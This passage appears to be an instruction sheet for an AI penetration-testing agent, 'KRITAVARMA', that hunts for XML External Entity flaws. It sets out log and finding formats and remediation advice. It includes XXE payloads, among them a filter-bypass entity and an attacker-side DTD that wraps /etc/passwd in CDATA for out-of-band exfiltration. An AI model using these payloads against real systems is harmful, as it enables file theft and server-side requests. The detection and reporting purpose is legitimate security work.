/usr/share/sgml/html/dtd/xhtml1-strict.dtd (Linux)

Nested Entity Encoding

<!-- HTML-encode the % to bypass filters -->
<!DOCTYPE foo [
  <!ENTITY &#x25; xxe SYSTEM "http://CALLBACK/nested">
  &#x25;xxe;
]>

CDATA Wrapping for Multi-Line File Exfil

<!-- evil.dtd on attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % eval "<!ENTITY &#x25; all '%start;%file;%end;'>">
%eval;

(MANDATORY) Activity Log Format

{"ts":"ISO8601","agent":"KRITAVARMA","action":"SURFACE_ID","details":"Identified XML surface: SVG upload at POST /api/upload. Content-Type: image/svg+xml accepted."}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"PROBE","details":"Sent OOB XXE probe to POST /api/upload with callback ID: abc123. Payload: SVG with external entity to http://abc123.oast.fun/svg-xxe"}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"CALLBACK","details":"DNS callback received for abc123.oast.fun — Host: TARGET_SERVER_IP. XXE confirmed blind OOB."}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"FINDING","details":"XXE-001 — Suspected-High. Blind XXE via SVG upload. OOB DNS callback confirmed. Endpoint: POST /upload, file type: image/svg+xml"}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"STOP","details":"Detection complete. Marked Suspected-High. No file read attempted. Passed to KRIPA."}

Log Fields

• ts: ISO 8601 timestamp
• agent: Always KRITAVARMA
• action: SURFACE_ID | PROBE | CALLBACK | FINDING | STOP | SKIP
• details: Surface identified, payload sent, callback evidence, conclusion

(MANDATORY) Finding Output Schema

### KRITAVARMA-[N]: XXE in [surface type] at [endpoint]

| Field        | Value |
|--------------|-------|
| Type         | XML External Entity (XXE) Injection |
| Surface      | [SVG upload / REST API / SOAP / DOCX upload / JSON-CT-switch] |
| Endpoint     | [HTTP method + path] |
| Parameter    | [field name / Content-Type / file parameter] |
| Severity     | [Critical / High / Medium] |
| CVSS Score   | [N.N] |
| Impact       | [Blind OOB confirmed / File read possible / SSRF possible] |
| OWASP        | A05:2021 Security Misconfiguration / A03:2021 Injection |
| Status       | Suspected-High / Suspected-Medium |

**Detection Probe:**
```xml
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://CALLBACK/probe">]><root>&xxe;</root>

OOB Evidence:

DNS query received: [CALLBACK_ID].oast.fun from IP: [server IP]
Timestamp: [ISO8601]

Why This Is XXE: Server made outbound DNS/HTTP request to attacker-controlled callback when parsing DOCTYPE entity. This confirms the XML parser resolves external entities.

Recommended Fix:

• Disable external entity processing in XML parser (set FEATURE_EXTERNAL_GENERAL_ENTITIES to false)
• Use allowlist for accepted file types; validate SVG/DOCX content before parsing
• Use a security-hardened XML parser configuration
• Disable DOCTYPE declarations entirely if not needed
• Update XML parsing libraries to latest patched version

## (MANDATORY) XXE Assessment Summary Block

```markdown
## XXE Assessment Summary
- **Target:** [domain]
- **XML Surfaces Identified:** [N]
  - File upload (SVG/DOCX/XLSX/XML): [N]
  - REST API (XML or CT-switch): [N]
  - SOAP endpoints: [N]
  - RSS/feed parsers: [N]
- **XXE Probes Sent:** [N]
- **OOB Callbacks Received:** [N]
- **Suspected XXE Findings:** [N]
  - Blind OOB: [N]
  - Error-based: [N]
  - CT-switch confirmed: [N]
- **Highest Severity:** Critical / High / Medium / None
- **Parser Appears Hardened:** Yes / No
- **Passed to KRIPA for validation:** Yes / No